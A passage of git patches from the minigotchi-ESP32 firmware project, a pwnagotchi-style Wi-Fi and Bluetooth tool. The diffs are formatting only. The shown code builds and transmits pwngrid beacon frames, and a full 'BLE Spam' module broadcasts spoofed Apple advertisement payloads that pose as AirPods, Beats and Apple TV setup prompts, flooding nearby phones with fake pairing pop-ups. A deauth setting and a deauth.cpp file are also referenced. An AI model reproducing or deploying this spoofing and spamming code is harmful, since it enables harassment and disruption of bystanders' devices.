Config::bored_num_epochs; - - doc["policy"]["deauth"] = Config::deauth; - doc["policy"]["excited_num_epochs"] = Config::excited_num_epochs; - doc["policy"]["hop_recon_time"] = Config::hop_recon_time; - doc["policy"]["max_inactive_scale"] = Config::max_inactive_scale; - doc["policy"]["max_interactions"] = Config::max_interactions; - doc["policy"]["max_misses_for_recon"] = Config::max_misses_for_recon; - doc["policy"]["min_recon_time"] = Config::min_rssi; - doc["policy"]["min_rssi"] = Config::min_rssi; - doc["policy"]["recon_inactive_multiplier"] = - Config::recon_inactive_multiplier; - doc["policy"]["recon_time"] = Config::recon_time; - doc["policy"]["sad_num_epochs"] = Config::sad_num_epochs; - doc["policy"]["sta_ttl"] = Config::sta_ttl; - - doc["pwnd_run"] = Config::pwnd_run; - doc["pwnd_tot"] = Config::pwnd_tot; - doc["session_id"] = Config::session_id; - doc["uptime"] = Config::uptime; - doc["version"] = Config::version; - - // serialize then put into beacon frame - serializeJson(doc, jsonString); - Frame::essidLength = measureJson(doc); - Frame::headerLength = 2 + ((uint8_t)(essidLength / 255) * 2); - uint8_t *beaconFrame = new uint8_t[Frame::pwngridHeaderLength + - Frame::essidLength + Frame::headerLength]; - memcpy(beaconFrame, Frame::header, Frame::pwngridHeaderLength); - - /** developer note: - * - * if you literally want to check the json everytime you send a packet(non - * serialized ofc) - * - * Serial.println(jsonString); - */ - - int frameByte = pwngridHeaderLength; - for (int i = 0; i < essidLength; i++) { - if (i == 0 || i % 255 == 0) { - beaconFrame[frameByte++] = Frame::IDWhisperPayload; - uint8_t newPayloadLength = 255; - if (essidLength - i < Frame::chunkSize) { - newPayloadLength = essidLength - i; - } - beaconFrame[frameByte++] = newPayloadLength; + // make a json doc + String jsonString = ""; + DynamicJsonDocument doc(2048); + + doc["minigotchi"] = true; + doc["epoch"] = Config::epoch; + doc["face"] = Config::face; + doc["identity"] = Config::identity; + doc["name"] = Config::name; + + doc["policy"]["advertise"] = Config::advertise; + doc["policy"]["ap_ttl"] = Config::ap_ttl; + doc["policy"]["associate"] = Config::associate; + doc["policy"]["bored_num_epochs"] = Config::bored_num_epochs; + + doc["policy"]["deauth"] = Config::deauth; + doc["policy"]["excited_num_epochs"] = Config::excited_num_epochs; + doc["policy"]["hop_recon_time"] = Config::hop_recon_time; + doc["policy"]["max_inactive_scale"] = Config::max_inactive_scale; + doc["policy"]["max_interactions"] = Config::max_interactions; + doc["policy"]["max_misses_for_recon"] = Config::max_misses_for_recon; + doc["policy"]["min_recon_time"] = Config::min_rssi; + doc["policy"]["min_rssi"] = Config::min_rssi; + doc["policy"]["recon_inactive_multiplier"] = + Config::recon_inactive_multiplier; + doc["policy"]["recon_time"] = Config::recon_time; + doc["policy"]["sad_num_epochs"] = Config::sad_num_epochs; + doc["policy"]["sta_ttl"] = Config::sta_ttl; + + doc["pwnd_run"] = Config::pwnd_run; + doc["pwnd_tot"] = Config::pwnd_tot; + doc["session_id"] = Config::session_id; + doc["uptime"] = Config::uptime; + doc["version"] = Config::version; + + // serialize then put into beacon frame + serializeJson(doc, jsonString); + Frame::essidLength = measureJson(doc); + Frame::headerLength = 2 + ((uint8_t)(essidLength / 255) * 2); + uint8_t *beaconFrame = new uint8_t[Frame::pwngridHeaderLength + + Frame::essidLength + Frame::headerLength]; + memcpy(beaconFrame, Frame::header, Frame::pwngridHeaderLength); + + /** developer note: + * + * if you literally want to check the json everytime you send a packet(non + * serialized ofc) + * + * Serial.println(jsonString); + */ + + int frameByte = pwngridHeaderLength; + for (int i = 0; i < essidLength; i++) { + if (i == 0 || i % 255 == 0) { + beaconFrame[frameByte++] = Frame::IDWhisperPayload; + uint8_t newPayloadLength = 255; + if (essidLength - i < Frame::chunkSize) { + newPayloadLength = essidLength - i; + } + beaconFrame[frameByte++] = newPayloadLength; + } + beaconFrame[frameByte++] = (uint8_t)jsonString[i]; } - beaconFrame[frameByte++] = (uint8_t)jsonString[i]; - } - /* developer note: we can print the beacon frame like so... + /* developer note: we can print the beacon frame like so... - Serial.println("('-') Full Beacon Frame:"); - for (size_t i = 0; i < frameSize; ++i) { - Serial.print(beaconFrame[i], HEX); - Serial.print(" "); - } + Serial.println("('-') Full Beacon Frame:"); + for (size_t i = 0; i < frameSize; ++i) { + Serial.print(beaconFrame[i], HEX); + Serial.print(" "); + } - Serial.println(" "); + Serial.println(" "); - */ + */ - return beaconFrame; + return beaconFrame; } /** * Sends a pwnagotchi packet in AP mode */ bool Frame::send() { - // convert to a pointer because esp-idf is a pain in the ass - WiFi.mode(WIFI_AP); - uint8_t *frame = Frame::pack(); - size_t frameSize = Frame::pwngridHeaderLength + Frame::essidLength + - Frame::headerLength; // actually disgusting but it works - - // send full frame - // we don't use raw80211 since it sends a header (which we don't need), - // although we do use it for monitoring, etc. - delay(102); - // Channel::switchChannel(1 + rand() % (13 - 1 + 1)); - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, frame, frameSize, false); - - delete[] frame; - return (err == ESP_OK); + // convert to a pointer because esp-idf is a pain in the ass + WiFi.mode(WIFI_AP); + uint8_t *frame = Frame::pack(); + size_t frameSize = Frame::pwngridHeaderLength + Frame::essidLength + + Frame::headerLength; // actually disgusting but it works + + // send full frame + // we don't use raw80211 since it sends a header (which we don't need), + // although we do use it for monitoring, etc. + delay(102); + // Channel::switchChannel(1 + rand() % (13 - 1 + 1)); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, frame, frameSize, false); + + delete[] frame; + return (err == ESP_OK); } /** * Full usage of Pwnagotchi's advertisments on the Minigotchi. */ void Frame::advertise() { - int packets = 0; - unsigned long startTime = millis(); - - if (Config::advertise) { - Serial.println(mood.getIntense() + " Starting advertisment..."); - Serial.println(" "); - Display::updateDisplay(mood.getIntense(), "Starting advertisment..."); - Parasite::sendAdvertising(); - delay(Config::shortDelay); - for (int i = 0; i < 150; ++i) { - if (Frame::send()) { - packets++; - - // calculate packets per second - float pps = packets / (float)(millis() - startTime) * 1000; - - // show pps - if (!isinf(pps)) { - Serial.print(mood.getIntense() + " Packets per second: "); - Serial.print(pps); - Serial.print(" pkt/s (Channel: "); - Serial.print(Channel::getChannel()); - Serial.println(")"); - Display::updateDisplay( - mood.getIntense(), - "Packets per second: " + (String)pps + " pkt/s" + - " (Channel: " + (String)Channel::getChannel() + ")"); + int packets = 0; + unsigned long startTime = millis(); + + if (Config::advertise) { + Serial.println(mood.getIntense() + " Starting advertisment..."); + Serial.println(" "); + Display::updateDisplay(mood.getIntense(), "Starting advertisment..."); + Parasite::sendAdvertising(); + delay(Config::shortDelay); + for (int i = 0; i < 150; ++i) { + if (Frame::send()) { + packets++; + + // calculate packets per second + float pps = packets / (float)(millis() - startTime) * 1000; + + // show pps + if (!isinf(pps)) { + Serial.print(mood.getIntense() + " Packets per second: "); + Serial.print(pps); + Serial.print(" pkt/s (Channel: "); + Serial.print(Channel::getChannel()); + Serial.println(")"); + Display::updateDisplay( + mood.getIntense(), + "Packets per second: " + (String)pps + " pkt/s" + + " (Channel: " + (String)Channel::getChannel() + ")"); + } + } else { + Serial.println(mood.getBroken() + " Advertisment failed to send!"); + Display::updateDisplay(mood.getBroken(), + "Advertisment failed to send!"); + } } - } else { - Serial.println(mood.getBroken() + " Advertisment failed to send!"); - Display::updateDisplay(mood.getBroken(), - "Advertisment failed to send!"); - } - } - Serial.println(" "); - Serial.println(mood.getHappy() + " Advertisment finished!"); - Serial.println(" "); - Display::updateDisplay(mood.getHappy(), "Advertisment finished!"); - } else { - // do nothing but still idle - } + Serial.println(" "); + Serial.println(mood.getHappy() + " Advertisment finished!"); + Serial.println(" "); + Display::updateDisplay(mood.getHappy(), "Advertisment finished!"); + } else { + // do nothing but still idle + } } From a4eb92bb3edea6490aa3371a0103e2fae7d6b4ee Mon Sep 17 00:00:00 2001 From: "Restyled.io" Date: Sat, 23 Nov 2024 22:59:52 +0000 Subject: [PATCH 07/10] Restyled by clang-format --- minigotchi-ESP32/ble.cpp | 351 ++++++++---------- minigotchi-ESP32/config.cpp | 104 +++--- minigotchi-ESP32/config.h | 106 +++--- minigotchi-ESP32/deauth.cpp | 707 ++++++++++++++++++------------------ minigotchi-ESP32/frame.cpp | 299 ++++++++------- 5 files changed, 788 insertions(+), 779 deletions(-) diff --git a/minigotchi-ESP32/ble.cpp b/minigotchi-ESP32/ble.cpp index 0ba1875..1bdc188 100644 --- a/minigotchi-ESP32/ble.cpp +++ b/minigotchi-ESP32/ble.cpp @@ -35,13 +35,11 @@ BLEAdvertising *Ble::pAdvertising; -int Ble::random(int min, int max) { - return min + rand() % (max - min + 1); -} +int Ble::random(int min, int max) { return min + rand() % (max - min + 1); } // User selectable variables int Ble::deviceType = Ble::random( - 1, 26); // 1 for Airpods, 2 for Airpods Pro, 3 for Airpods Max, 4 for... + 1, 26); // 1 for Airpods, 2 for Airpods Pro, 3 for Airpods Max, 4 for... int Ble::delaySeconds = 5; // delay in seconds int Ble::advType = 2; // 0 - ADV_TYPE_IND @@ -59,290 +57,259 @@ Mood &Ble::mood = Mood::getInstance(); uint8_t dataAirpods[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsMax[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsGen3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsProGen2[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataPowerBeats[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataPowerBeatsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsSoloPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsStudioBuds[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsFlex[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsX[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsSolo3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsStudio3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsStudioPro[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsFitPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsStudioBudsPlus[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAppleTVSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 - }; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVPair[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 - }; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVNewUser[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVAppleIDSetup[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVWirelessAudioSync[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVHomekitSetup[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVKeyboard[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVConnectingToNetwork[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataHomepodSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 - }; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataSetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 - }; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataTransferNumber[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataTVColorBalance[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; /** * Initializes bluetooth and sets up payload */ void Ble::init() { - BLEDevice::init(""); + BLEDevice::init(""); - // Create the BLE Server - BLEServer *pServer = BLEDevice::createServer(); + // Create the BLE Server + BLEServer *pServer = BLEDevice::createServer(); - pAdvertising = pServer->getAdvertising(); - BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); + pAdvertising = pServer->getAdvertising(); + BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); - // Select the appropriate data based on the device type - uint8_t *data; - switch (deviceType) { - case 1: - data = dataAirpods; - break; - case 2: - data = dataAirpodsPro; - break; - case 3: - data = dataAirpodsMax; - break; - case 4: - data = dataAirpodsGen2; - break; - case 5: - data = dataAirpodsGen3; - break; - case 6: - data = dataAirpodsProGen2; - break; - case 7: - data = dataPowerBeats; - break; - case 8: - data = dataPowerBeatsPro; - break; - case 9: - data = dataBeatsSoloPro; - break; - case 10: - data = dataBeatsStudioBuds; - break; - case 11: - data = dataBeatsFlex; - break; - case 12: - data = dataBeatsX; - break; - case 13: - data = dataBeatsSolo3; - break; - case 14: - data = dataBeatsStudio3; - break; - case 15: - data = dataBeatsStudioPro; - break; - case 16: - data = dataBeatsFitPro; - break; - case 17: - data = dataBeatsStudioBudsPlus; - break; - case 18: - data = dataAppleTVSetup; - break; - case 19: - data = dataAppleTVPair; - break; - case 20: - data = dataAppleTVNewUser; - break; - case 21: - data = dataAppleTVAppleIDSetup; - break; - case 22: - data = dataAppleTVWirelessAudioSync; - break; - case 23: - data = dataAppleTVHomekitSetup; - break; - case 24: - data = dataAppleTVKeyboard; - break; - case 25: - data = dataAppleTVConnectingToNetwork; - break; - case 26: - data = dataTVColorBalance; - break; - default: - data = dataAirpods; // default to dataAirpods if no valid deviceType is - // provided - break; - } - // This flag does not seem to be needed for ESP32 BLE - // oAdvertisementData.setFlags(0x03); + // Select the appropriate data based on the device type + uint8_t *data; + switch (deviceType) { + case 1: + data = dataAirpods; + break; + case 2: + data = dataAirpodsPro; + break; + case 3: + data = dataAirpodsMax; + break; + case 4: + data = dataAirpodsGen2; + break; + case 5: + data = dataAirpodsGen3; + break; + case 6: + data = dataAirpodsProGen2; + break; + case 7: + data = dataPowerBeats; + break; + case 8: + data = dataPowerBeatsPro; + break; + case 9: + data = dataBeatsSoloPro; + break; + case 10: + data = dataBeatsStudioBuds; + break; + case 11: + data = dataBeatsFlex; + break; + case 12: + data = dataBeatsX; + break; + case 13: + data = dataBeatsSolo3; + break; + case 14: + data = dataBeatsStudio3; + break; + case 15: + data = dataBeatsStudioPro; + break; + case 16: + data = dataBeatsFitPro; + break; + case 17: + data = dataBeatsStudioBudsPlus; + break; + case 18: + data = dataAppleTVSetup; + break; + case 19: + data = dataAppleTVPair; + break; + case 20: + data = dataAppleTVNewUser; + break; + case 21: + data = dataAppleTVAppleIDSetup; + break; + case 22: + data = dataAppleTVWirelessAudioSync; + break; + case 23: + data = dataAppleTVHomekitSetup; + break; + case 24: + data = dataAppleTVKeyboard; + break; + case 25: + data = dataAppleTVConnectingToNetwork; + break; + case 26: + data = dataTVColorBalance; + break; + default: + data = dataAirpods; // default to dataAirpods if no valid deviceType is + // provided + break; + } + // This flag does not seem to be needed for ESP32 BLE + // oAdvertisementData.setFlags(0x03); - // Set the advertisement data type - switch (advType) { - case 0: - pAdvertising->setAdvertisementType(ADV_TYPE_IND); - break; - case 1: - pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_HIGH); - break; - case 2: - pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); - break; - case 3: - pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); - break; - case 4: - pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_LOW); - break; - } + // Set the advertisement data type + switch (advType) { + case 0: + pAdvertising->setAdvertisementType(ADV_TYPE_IND); + break; + case 1: + pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_HIGH); + break; + case 2: + pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); + break; + case 3: + pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); + break; + case 4: + pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_LOW); + break; + } - // Set up the advertisement data - oAdvertisementData.addData(std::string((char *)data, sizeof(dataAirpods))); - pAdvertising->setAdvertisementData(oAdvertisementData); + // Set up the advertisement data + oAdvertisementData.addData(std::string((char *)data, sizeof(dataAirpods))); + pAdvertising->setAdvertisementData(oAdvertisementData); } /** * Starts BLE */ void Ble::start() { - Serial.println(mood.getIntense() + " Starting BLE Spam..."); - Display::updateDisplay(mood.getIntense(), "Starting BLE Spam..."); - pAdvertising->start(); - delay(delaySeconds * 1000); - pAdvertising->stop(); - Display::updateDisplay(mood.getNeutral(), "BLE Spam Stopped"); - Serial.println(mood.getNeutral() + " BLE Spam Stopped"); + Serial.println(mood.getIntense() + " Starting BLE Spam..."); + Display::updateDisplay(mood.getIntense(), "Starting BLE Spam..."); + pAdvertising->start(); + delay(delaySeconds * 1000); + pAdvertising->stop(); + Display::updateDisplay(mood.getNeutral(), "BLE Spam Stopped"); + Serial.println(mood.getNeutral() + " BLE Spam Stopped"); } /** * *Manually* stops BLE spam if it is already running */ -void Ble::stop() { - pAdvertising->stop(); -} +void Ble::stop() { pAdvertising->stop(); } /** * Self explanatory... */ void Ble::spam() { - if (Config::spam) { - Ble::init(); - Ble::start(); - } else { - // do nothing - } + if (Config::spam) { + Ble::init(); + Ble::start(); + } else { + // do nothing + } } diff --git a/minigotchi-ESP32/config.cpp b/minigotchi-ESP32/config.cpp index afa36e5..43229d3 100644 --- a/minigotchi-ESP32/config.cpp +++ b/minigotchi-ESP32/config.cpp @@ -115,65 +115,65 @@ std::string Config::version = "3.5.2-beta"; * Loads configuration values from NVS */ void Config::loadConfig() { - nvs_handle_t cfgHandle; - esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); + nvs_handle_t cfgHandle; + esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); + if (err == ESP_OK) { + // load Config::configured + uint8_t configured = 0; + err = nvs_get_u8(cfgHandle, "configured", &configured); if (err == ESP_OK) { - // load Config::configured - uint8_t configured = 0; - err = nvs_get_u8(cfgHandle, "configured", &configured); - if (err == ESP_OK) { - Config::configured = (configured == 1); - } + Config::configured = (configured == 1); + } - // load Config::whitelist - size_t required_size = 0; - err = nvs_get_str(cfgHandle, "whitelist", NULL, &required_size); - if (err == ESP_OK && required_size > 0) { - char *whitelistStr = (char *)malloc(required_size); - err = nvs_get_str(cfgHandle, "whitelist", whitelistStr, &required_size); - if (err == ESP_OK) { - // convert back into a vector - Config::whitelist.clear(); - std::stringstream ss(whitelistStr); - std::string item; - while (std::getline(ss, item, ',')) { - Config::whitelist.push_back(item); - } - } - free(whitelistStr); + // load Config::whitelist + size_t required_size = 0; + err = nvs_get_str(cfgHandle, "whitelist", NULL, &required_size); + if (err == ESP_OK && required_size > 0) { + char *whitelistStr = (char *)malloc(required_size); + err = nvs_get_str(cfgHandle, "whitelist", whitelistStr, &required_size); + if (err == ESP_OK) { + // convert back into a vector + Config::whitelist.clear(); + std::stringstream ss(whitelistStr); + std::string item; + while (std::getline(ss, item, ',')) { + Config::whitelist.push_back(item); } - - nvs_close(cfgHandle); + } + free(whitelistStr); } + + nvs_close(cfgHandle); + } } /** * Saves configuration to NVS */ void Config::saveConfig() { - nvs_handle_t cfgHandle; - esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); - if (err == ESP_OK) { - // save Config::configured - uint8_t configured = Config::configured ? 1 : 0; - err = nvs_set_u8(cfgHandle, "configured", configured); - ESP_ERROR_CHECK(err); - - // save Config::whitelist - std::string whitelistStr; - for (size_t i = 0; i < Config::whitelist.size(); ++i) { - whitelistStr += Config::whitelist[i]; - if (i < Config::whitelist.size() - 1) { - whitelistStr += ","; - } - } - err = nvs_set_str(cfgHandle, "whitelist", whitelistStr.c_str()); - ESP_ERROR_CHECK(err); - - err = nvs_commit(cfgHandle); - ESP_ERROR_CHECK(err); - nvs_close(cfgHandle); + nvs_handle_t cfgHandle; + esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); + if (err == ESP_OK) { + // save Config::configured + uint8_t configured = Config::configured ? 1 : 0; + err = nvs_set_u8(cfgHandle, "configured", configured); + ESP_ERROR_CHECK(err); + + // save Config::whitelist + std::string whitelistStr; + for (size_t i = 0; i < Config::whitelist.size(); ++i) { + whitelistStr += Config::whitelist[i]; + if (i < Config::whitelist.size() - 1) { + whitelistStr 